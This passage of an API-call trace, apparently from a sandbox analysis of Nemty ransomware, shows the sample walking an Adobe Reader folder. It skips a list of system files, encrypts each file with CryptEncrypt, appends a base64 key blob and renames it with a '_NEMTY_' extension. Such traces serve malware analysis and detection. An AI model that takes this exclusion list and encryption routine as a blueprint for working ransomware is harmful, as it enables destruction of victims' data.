lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.361] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0175.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.361] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\reflow.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\reflow.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\reflow.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\reflow.deu._nemty_kgobjgd_")) returned 1 [0175.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0175.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0175.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0175.362] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SaveAsRTF.DEU", cAlternateFileName="SAVEAS~1.DEU")) returned 1 [0175.362] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2=".") returned 1 [0175.362] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="..") returned 1 [0175.362] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="...") returned 1 [0175.362] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="windows") returned -1 [0175.362] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="$RECYCLE.BIN") returned 1 [0175.362] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="rsa") returned 1 [0175.362] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="NTDETECT.COM") returned 1 [0175.362] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="ntldr") returned 1 [0175.362] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="MSDOS.SYS") returned 1 [0175.362] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="IO.SYS") returned 1 [0175.362] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="boot.ini") returned 1 [0175.362] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="boot.ini") returned 1 [0175.363] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0175.363] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="ntuser.dat") returned 1 [0175.363] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="desktop.ini") returned 1 [0175.363] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="CONFIG.SYS") returned 1 [0175.363] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="RECYCLER") returned 1 [0175.363] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="BOOTSECT.BAK") returned 1 [0175.363] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="bootmgr") returned 1 [0175.363] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="programdata") returned 1 [0175.363] lstrcmpiW (lpString1="SaveAsRTF.DEU", lpString2="appdata") returned 1 [0175.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DEU", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DEU", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.DEU", lpUsedDefaultChar=0x0) returned 13 [0175.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DEU", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DEU", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.DEU", lpUsedDefaultChar=0x0) returned 13 [0175.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DEU", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DEU", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.DEU", lpUsedDefaultChar=0x0) returned 13 [0175.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DEU", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0175.363] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaveAsRTF.DEU", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaveAsRTF.DEU", lpUsedDefaultChar=0x0) returned 13 [0175.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0175.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0175.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0175.363] Sleep (dwMilliseconds=0x5) [0175.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c2d6670, dwHighDateTime=0x1d561e8)) [0175.377] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c2d6670, dwHighDateTime=0x1d561e8)) [0175.377] GetLastError () returned 0x0 [0175.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.377] GetLastError () returned 0x0 [0175.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.377] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.377] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.378] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0175.378] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="6Ggr+awO7C6PHRYd+3OafBdaqjxMp1PkoJS+fQxzshn4pZYz44/z2SGQYMdGBz8E\r\n994Fdxp4flzOrvHN8Km/HOg9/P6sVQvf3nsQIlYyzDWvq3UgKHUqX8i05MLOZy4A\r\nUe3CcGQuciuIZI5yNsnSf330qQHwOQwVeYgt4oA7kktGdbgriF4Eg4X9iDUe1+Ci\r\nyIMqu7e4FU5vGPZ9Y53q4bhxZrKG8+89U/6fEd8vboKG9uWQkBiRqLv8gM5lfyh/\r\nswaGiFA79cjJxZtsQZRUkXJMQtz7OVlgG5dtFB+ml97a3DgLlCjKEp268F+KM1iN\r\nClO3Vrfrjp1PnckE483+AQ==\r\n", pcchString=0x653e5dc) returned 1 [0175.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0175.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.378] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SaveAsRTF.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\saveasrtf.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.378] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=19456) returned 1 [0175.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4c00) returned 0x6352c48 [0175.378] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.378] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4c00, lpOverlapped=0x0) returned 1 [0175.381] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.381] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4c00, lpOverlapped=0x0) returned 1 [0175.381] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0175.381] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=19456, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4c00 [0175.381] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0175.381] CloseHandle (hObject=0x2e8) returned 1 [0175.381] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0175.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0175.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0175.382] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0175.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0175.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0175.382] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0175.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0175.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.382] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SaveAsRTF.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\saveasrtf.deu"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\SaveAsRTF.DEU._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\saveasrtf.deu._nemty_kgobjgd_")) returned 1 [0175.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0175.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0175.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0175.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0175.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0175.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0175.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.382] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.382] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bca280, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Search.DEU", cAlternateFileName="")) returned 1 [0175.382] lstrcmpiW (lpString1="Search.DEU", lpString2=".") returned 1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="..") returned 1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="...") returned 1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="windows") returned -1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="$RECYCLE.BIN") returned 1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="rsa") returned 1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="NTDETECT.COM") returned 1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="ntldr") returned 1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="MSDOS.SYS") returned 1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="IO.SYS") returned 1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="boot.ini") returned 1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="boot.ini") returned 1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="AUTOEXEC.BAT") returned 1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="ntuser.dat") returned 1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="desktop.ini") returned 1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="CONFIG.SYS") returned 1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="RECYCLER") returned 1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="BOOTSECT.BAK") returned 1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="bootmgr") returned 1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="programdata") returned 1 [0175.383] lstrcmpiW (lpString1="Search.DEU", lpString2="appdata") returned 1 [0175.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DEU", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.DEU", lpUsedDefaultChar=0x0) returned 10 [0175.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DEU", cchWideChar=10, lpMultiByteStr=0x653e890, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.DEU", lpUsedDefaultChar=0x0) returned 10 [0175.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DEU", cchWideChar=10, lpMultiByteStr=0x653e8e0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.DEU", lpUsedDefaultChar=0x0) returned 10 [0175.383] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.383] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.383] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DEU", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0175.384] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Search.DEU", cchWideChar=10, lpMultiByteStr=0x653e918, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Search.DEU", lpUsedDefaultChar=0x0) returned 10 [0175.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0175.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0175.384] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0175.384] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0175.384] Sleep (dwMilliseconds=0x5) [0175.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c2fc7d0, dwHighDateTime=0x1d561e8)) [0175.389] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1c2fc7d0, dwHighDateTime=0x1d561e8)) [0175.389] GetLastError () returned 0x0 [0175.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0175.389] GetLastError () returned 0x0 [0175.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0175.389] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0175.389] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0175.389] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0175.389] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0175.390] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0175.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0175.390] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="wBin1OnXfpawIZiQKcxfK65wCY83nkXHQrNi8WtUdTHYHKcm3unUot+AadEINA8K\r\nFQesB+xwzcz5M2lUOqapEuMijBvrHVKLiIM5LtVFwMQUu8xAYnyRGafnfB1Xyys7\r\nXOoxKwMKbW1pOWwlGjqTieauFJpAG2WhLiSLeJKew3ugdhk1YS5CxhFQCvjQUfNX\r\nhOSZiCau2IaPEkJGlz71a7Nno0DJnTkPLi47I7UGksNF1+QX/VY8nDcJm7oJPBJ1\r\nveZGW2kB+DRhQfHiSh+o+BsbWwyYO8dx9O3hxlyz/LKfNxEPohEhxawJGpke6pxu\r\nB+GYuf/V1ku0zDTjKCACkw==\r\n", pcchString=0x653e5dc) returned 1 [0175.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0175.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0175.390] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0175.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0175.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0175.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0175.390] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\de_DE\\Search.DEU" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\de_de\\search.deu"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0175.390] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=25088) returned 1 [0175.390] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6200) returned 0x6352c48 [0175.390] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.390] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x6200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x6200, lpOverlapped=0x0) returned 1 [0175.393] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0175.393] 